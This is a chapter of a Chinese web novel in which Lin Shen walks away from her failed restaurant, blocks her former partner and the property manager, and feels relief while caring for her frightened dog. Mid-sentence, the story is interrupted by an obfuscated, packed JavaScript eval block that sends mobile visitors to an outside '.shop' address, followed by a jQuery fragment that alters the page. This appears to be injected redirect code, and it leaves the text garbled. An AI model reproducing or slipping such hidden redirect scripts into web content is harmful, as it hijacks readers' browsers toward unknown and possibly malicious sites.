离开以后，林深没有回去。一次都没有。后来很长一段时间，她甚至想不起来那家店最后是什么样子——桌子还在不在，灯关没关，冰柜有没有搬走，酒有没有卖掉。她统统不知道，也不想知道。
那天晚上抱着来福离开以后，她在酒店住了一晚。来福缩在床边，整整一夜都没怎么睡，只要外面有一点动静，耳朵立刻竖起来。林深坐在床上看着它，忽然有些难受。她养了它这么多年，第一次看见它怕成这样。
第二天中午，陆沉发来消息，很多条。林深没回。下午又发，晚上继续发。电话打过来，林深直接挂断。第二个，挂断。第三个，还是挂断。她把所有陆沉能联系上她的APP找出来，一个一个拉黑。当最后一个账号拉黑，手机终于安静下来。来福趴在旁边睡觉，她忽然觉得，这大概就是自由。
来福趴在她腿边，像害怕她也会消失。林深低头摸了摸它耳朵，什么都没说。
三天后，物业发来微信。她看了一眼，对方问：
“林小姐，房租快到了。”
林深盯着屏幕，过了一会儿回了两个字：
“退租。”
消息发出去以后，她靠在床头发呆，没有想象中的难受，甚至有些平静。几分钟后物业回复：
“确定吗？”
“确定。”
这次回得很快。物业沉默了一会儿，又发来一句：
“店里的设备怎么办？”
林深看着那行字，忽然想起那家店。装修的时候，光一个寿司柜就花了很多钱——厨房设备、冰柜、桌椅、灯具、餐具、酒柜、定制吧台，还有那些她曾经觉得特别漂亮的灯。为了那些东西，她和陆沉跑遍了半个城市，看样品、谈价格、比来比去，熬了不知道多少夜。后来又为了它们背上两百万债务。想到这里，林深忽然觉得有些荒唐。
过了很久，她回了一句：
“你自己看着办吧。”
发送，然后退出聊天框，没有犹豫。
物业很快又发来消息：
“什么意思？”
“设备不要了吗？”
“我们不好处理。”
“还有很多手续。”
“林小姐？”
“林小姐？”
手机不停震动。林深放下手机，起身去给来福倒水。等她回来时，未读消息已经变成十几条。她扫了一眼，没看内容，直接锁屏。
晚上，物业打电话，她没接。第二天继续打，还是没接。第三天，换了个号码继续打。林深看着来电显示，沉默两秒，挂断。后来物业开始发长长的语音，解释、劝说、告诉她这样不行、告诉她很多事情需要处理、告诉她他们也很麻烦。林深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692764|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点开听了一半，退出，删除。第四天，她把物业拉黑了。
整个世界终于安静下来。
那天晚上，她抱着来福坐在窗边。外面天已经黑了，城市灯火通明，车流不断。来福趴在她怀里，睡得很沉。这几天它终于慢慢恢复过来，不再半夜惊醒，也不再听见声音就发抖。林深低头看着它，忽然发现自己也轻松了很多——没有房租，没有账单，没有供应商，没有员工，没有酒气，没有争吵。什么都没有，像有人忽然把压在胸口的石头搬走了。
她本来以为自己会舍不得，会怀念，会难过。可奇怪的是，什么都没有。她甚至连那家店的名字都不愿意想起。
手机安安静静放在旁边，物业没有再打来，陆沉也没有。来福翻了个身，把脑袋埋进她怀里，发出轻轻的呼噜声。林深低头摸了摸它，忽然想起很多年前，自己逃离那个村子的时候也是这样——不回头，不解释，不告别，拼命往前走。因为她知道，只要回头，就走不了了。有些人是这样，有些地方也是这样。
窗外有风吹过，窗帘轻轻晃动。林深靠在椅子上，闭上眼睛。那一刻，她忽然觉得那家店终于死了。不是因为退租，不是因为赔钱，不是因为陆沉，而是因为她终于不在乎了。真正结束的东西，从来不会轰轰烈烈，它只是某一天，安安静静地死掉，然后再也没有人提起。